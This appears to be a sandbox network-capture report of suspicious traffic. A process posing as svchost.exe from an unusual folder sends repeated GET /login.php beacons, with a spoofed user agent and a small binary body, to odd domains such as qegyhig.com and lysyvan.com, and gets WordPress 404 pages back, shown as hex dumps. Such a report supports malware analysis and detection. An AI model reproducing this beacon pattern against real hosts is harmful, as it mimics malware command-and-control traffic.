                                                                                                                                                                                                          2024-08-23 16:43:36 UTC1369INData Raw: 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 2c 72 3d 28 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79 28 66
                                                                                                                                                                                                          Data Ascii: .fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(f
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC1369INData Raw: 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b
                                                                                                                                                                                                          Data Ascii: e:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC1369INData Raw: 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 2e 33 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 3a 72 6f 6f 74 7b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 78 6c 67 2d 70 61 64 64 69 6e 67 3a 33 65 6d 3b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 6c 67 2d 70 61 64 64 69 6e 67 3a 33 65 6d 3b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 73
                                                                                                                                                                                                          Data Ascii: ='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.3.1' media='all' /><style id='astra-theme-css-inline-css'>:root{--ast-container-default-xlg-padding:3em;--ast-container-default-lg-padding:3em;--ast-container-default-s
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC1369INData Raw: 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32
                                                                                                                                                                                                          Data Ascii: ht:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-weight:600;line-height:1.25em;}h3,.entry-content h3{font-size:26px;font-size:1.625rem;font-weight:600;line-height:1.2em;}h4,.entry-content h4{font-size:24px;font-size:1.5rem;line-height:1.2
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC1369INData Raw: 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 65 6e 74 72 79 2d 6d 65 74 61 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 2a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 35 3b 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 68 6f 76 65 72 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 68 6f 76 65 72 20 2a 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 66 6f 63 75 73 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 66 6f 63 75 73 20 2a 2c 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 3e 20 2e 70 61 67 65 2d 6c 69 6e 6b 2c 2e 70 61 67 65
                                                                                                                                                                                                          Data Ascii: 0404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{color:#d10404;}.entry-meta,.entry-meta *{line-height:1.45;color:#d10404;}.entry-meta a:hover,.entry-meta a:hover *,.entry-meta a:focus,.entry-meta a:focus *,.page-links > .page-link,.page
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC1369INData Raw: 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 6f 63 5f 5f 77 72 61 70 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 61 78 6f 6d 6f 6e 79 2d 62 6f 78 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 61 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6c 61 74 65 73 74 2d 70 6f 73 74 73 20 3e 20 6c 69 20 3e 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74
                                                                                                                                                                                                          Data Ascii: ngle-post .entry-content .uagb-timeline a,.ast-single-post .entry-content .uagb-toc__wrap a,.ast-single-post .entry-content .uagb-taxomony-box a,.ast-single-post .entry-content .woocommerce a,.entry-content .wp-block-latest-posts > li > a,.ast-single-post
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC1369INData Raw: 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 6e 75 6d 62 65 72 22 5d 3a 66 6f 63 75 73 2c 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 61 72 63 68 5f 5f 69 6e 70 75 74 3a 66 6f 63 75 73 2c 5b 64 61 74 61 2d 73 65 63 74 69 6f 6e 3d 22 73 65 63 74 69 6f 6e 2d 68 65 61 64 65 72 2d 6d 6f 62 69 6c 65 2d 74 72 69 67 67 65 72 22
                                                                                                                                                                                                          Data Ascii: focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="reset"]:focus,input[type="search"]:focus,input[type="number"]:focus,textarea:focus,.wp-block-search__input:focus,[data-section="section-header-mobile-trigger"


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          5192.168.2.559543188.114.96.34435284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC6OUTData Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC767INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:37 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klYq6YYmcRMdbilfj26HsgXXG677Rd1h8HQd8LJL853e1aKKqyV6LuJPeXHQHUgx%2BDxhC96l05lY0x0g%2Fns99PKzV8bY%2F%2B%2B%2Be%2Bdv1wwzSBPZUng0cCtrtmBfw6hTLQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c90064ab6c44a-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC602INData Raw: 37 63 62 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7cb1<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC1369INData Raw: 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70
                                                                                                                                                                                                          Data Ascii: ound -</title><meta property="og:locale" content="en_US" /><meta property="og:title" content="Page not found -" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"http
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC1369INData Raw: 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 2c 72 3d 28 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65
                                                                                                                                                                                                          Data Ascii: ght),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.e
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC1369INData Raw: 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74
                                                                                                                                                                                                          Data Ascii: e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}cat
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC1369INData Raw: 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 2e 33 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 3a 72 6f 6f 74 7b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 78 6c 67 2d 70 61 64 64 69 6e 67 3a 33 65 6d 3b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 6c 67 2d 70 61 64 64 69 6e 67 3a 33 65 6d 3b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66
                                                                                                                                                                                                          Data Ascii: ' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.3.1' media='all' /><style id='astra-theme-css-inline-css'>:root{--ast-container-default-xlg-padding:3em;--ast-container-default-lg-padding:3em;--ast-container-def
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC1369INData Raw: 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67
                                                                                                                                                                                                          Data Ascii: e-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-weight:600;line-height:1.25em;}h3,.entry-content h3{font-size:26px;font-size:1.625rem;font-weight:600;line-height:1.2em;}h4,.entry-content h4{font-size:24px;font-size:1.5rem;line-heig
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC1369INData Raw: 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 65 6e 74 72 79 2d 6d 65 74 61 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 2a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 35 3b 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 68 6f 76 65 72 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 68 6f 76 65 72 20 2a 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 66 6f 63 75 73 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 66 6f 63 75 73 20 2a 2c 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 3e 20 2e 70 61 67 65 2d 6c 69 6e 6b
                                                                                                                                                                                                          Data Ascii: or:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{color:#d10404;}.entry-meta,.entry-meta *{line-height:1.45;color:#d10404;}.entry-meta a:hover,.entry-meta a:hover *,.entry-meta a:focus,.entry-meta a:focus *,.page-links > .page-link
                                                                                                                                                                                                          2024-08-23 16:43:37 UTC1369INData Raw: 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 6f 63 5f 5f 77 72 61 70 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 61 78 6f 6d 6f 6e 79 2d 62 6f 78 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 61 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6c 61 74 65 73 74 2d 70 6f 73 74 73 20 3e 20 6c 69 20 3e 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c
                                                                                                                                                                                                          Data Ascii: ast-single-post .entry-content .uagb-timeline a,.ast-single-post .entry-content .uagb-toc__wrap a,.ast-single-post .entry-content .uagb-taxomony-box a,.ast-single-post .entry-content .woocommerce a,.entry-content .wp-block-latest-posts > li > a,.ast-singl


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          6192.168.2.550846188.114.96.34435284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-08-23 16:43:48 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-08-23 16:43:48 UTC6OUTData Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC907INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:49 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          server-timing: amp_sanitizer;dur="45.7",amp_style_sanitizer;dur="20.2",amp_tag_and_attribute_sanitizer;dur="20.0",amp_optimizer;dur="24.9"
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eFlMBxJLc8%2FWBJ4nGdrEiwyjv3lm6z0Q0SMzfchV%2FanIcY01r%2BWxbgspeJSkXmxmbqhsSoe4%2BhKnbInsD%2BuRXLxv7M%2FxMVYiheSIHbWtMvqtUaAOiuaj4VdAa8q%2Fiw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c90497805438a-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC462INData Raw: 37 63 32 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                          Data Ascii: 7c26<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
